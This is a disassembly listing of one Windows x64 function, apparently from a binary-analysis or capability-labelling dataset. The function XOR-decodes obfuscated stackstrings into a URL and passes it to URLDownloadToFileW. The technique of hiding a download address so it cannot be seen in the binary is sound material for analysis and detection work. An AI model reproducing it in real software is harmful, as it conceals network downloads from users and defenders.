Function at 0x140009fb0
Capabilities:
Contain obfuscated stackstrings
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
movdqa xmm0, xmmword [0x140011ce0]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x10]
mov word [rsp + 0x39], 0x69
movdqu xmmword [rbp + 0x10], xmm0
mov dword [rsp + 0x30], 0x64646f4d
mov dword [rsp + 0x34], 0x20676e69
mov byte [rsp + 0x38], 0x55
mov byte [rsp + 0x3b], 0
mov word [rbp + 0x20], 0
call fcn.14000b6f0
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x30], 0xc5a8c5b3
xor r15d, r15d
mov dword [rbp - 0x2c], 0xc5aec5a9
mov dword [rbp - 0x28], 0xc5dac5ac
mov dword [rbp - 0x24], 0xc5cdc5ce
mov dword [rbp - 0x20], 0xc58bc593
mov dword [rbp - 0x1c], 0xc585c58b
mov dword [rbp - 0x18], 0xc598c58e
mov dword [rbp - 0x14], 0xc5c4c599
mov dword [rbp - 0x10], 0xc585c598
mov dword [rbp - 0xc], 0xc58bc599
mov dword [rbp - 8], 0xc59cc5c0
mov dword [rbp - 4], 0xc595c59e
mov dword [rbp], 0xc5dac59c
mov dword [rbp + 4], 0xc598c585
mov dword [rbp + 8], 0xc590
mov byte [rbp + 0xc], 1
call fcn.1400084e0
movdqa xmm3, xmmword [0x140011b90]
mov r10, rax
movdqa xmm4, xmmword [0x140011be0]
mov eax, r15d
mov dword [rsp + 0x40], 0xc81ec860
mov edx, 0xc82a
mov dword [rsp + 0x44], 0xc876c879
mov dword [rsp + 0x48], 0xc847c855
mov dword [rsp + 0x4c], 0xc858c84e
mov dword [rsp + 0x50], 0xc841c84a
mov dword [rsp + 0x54], 0xc868c80d
mov dword [rsp + 0x58], 0xc85cc846
mov dword [rsp + 0x5c], 0xc841c854
mov dword [rsp + 0x60], 0xc860c86f
mov dword [rsp + 0x64], 0xc871c84d
mov dword [rsp + 0x68], 0xc855c856
mov dword [rsp + 0x6c], 0xc87bc85c
mov dword [rsp + 0x70], 0xc84fc848
mov dword [rsp + 0x74], 0xc84dc854
mov dword [rsp + 0x78], 0xc821c84b
mov dword [rsp + 0x7c], 0xc836c82f
mov dword [rbp - 0x80], 0xc831c81f
mov dword [rbp - 0x7c], 0xc81ac82c
mov dword [rbp - 0x78], 0xc826c806
mov dword [rbp - 0x74], 0xc838c82d
mov dword [rbp - 0x70], 0xc825c824
mov dword [rbp - 0x6c], 0xc80bc829
mov dword [rbp - 0x68], 0xc825c822
mov dword [rbp - 0x64], 0xc833c83d
mov dword [rbp - 0x60], 0xc83bc827
mov dword [rbp - 0x5c], 0xc80ac827
mov dword [rbp - 0x58], 0xc83dc825
mov dword [rbp - 0x54], 0xc806c82a
mov dword [rbp - 0x50], 0xc831c832
mov dword [rbp - 0x4c], 0xc802c83a
mov dword [rbp - 0x48], 0xc80fc833
mov dword [rbp - 0x44], 0xc80dc806
mov dword [rbp - 0x40], 0xc814c84d
mov dword [rbp - 0x3c], 0xc801c80b
mov word [rbp - 0x38], r15w
mov byte [rbp - 0x36], 1
nop dword [rax]
movd xmm1, dword [rsp + rax*2 + 0x40]
lea rcx, [rdx - 5]
xorps xmm0, xmm0
movq xmm2, rax
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
punpcklqdq xmm2, xmm2
paddq xmm2, xmm4
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
lea rcx, [rdx - 3]
movd dword [rsp + rax*2 + 0x40], xmm1
xorps xmm0, xmm0
movd xmm1, dword [rsp + rax*2 + 0x44]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
punpcklqdq xmm2, xmm2
paddq xmm2, xmm3
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
lea rcx, [rdx - 1]
movd dword [rsp + rax*2 + 0x44], xmm1
xorps xmm0, xmm0
movd xmm1, dword [rsp + rax*2 + 0x48]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
punpcklqdq xmm2, xmm2
paddq xmm2, xmm3
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
movq xmm0, rdx
movd dword [rsp + rax*2 + 0x48], xmm1
add rdx, 8
movd xmm1, dword [rsp + rax*2 + 0x4c]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x4c], xmm1
add rax, 8
cmp rdx, 0xc86a
jb 0x14000a1b0
cmp rax, 0x44
jae 0x14000a2b5
mov edx, 0x37dd
movzx ecx, ax
sub cx, dx
xor word [rsp + rax*2 + 0x40], cx
inc rax
cmp rax, 0x44
jb 0x14000a2a1
xor r9d, r9d
mov byte [rbp - 0x36], r15b
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], r15
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret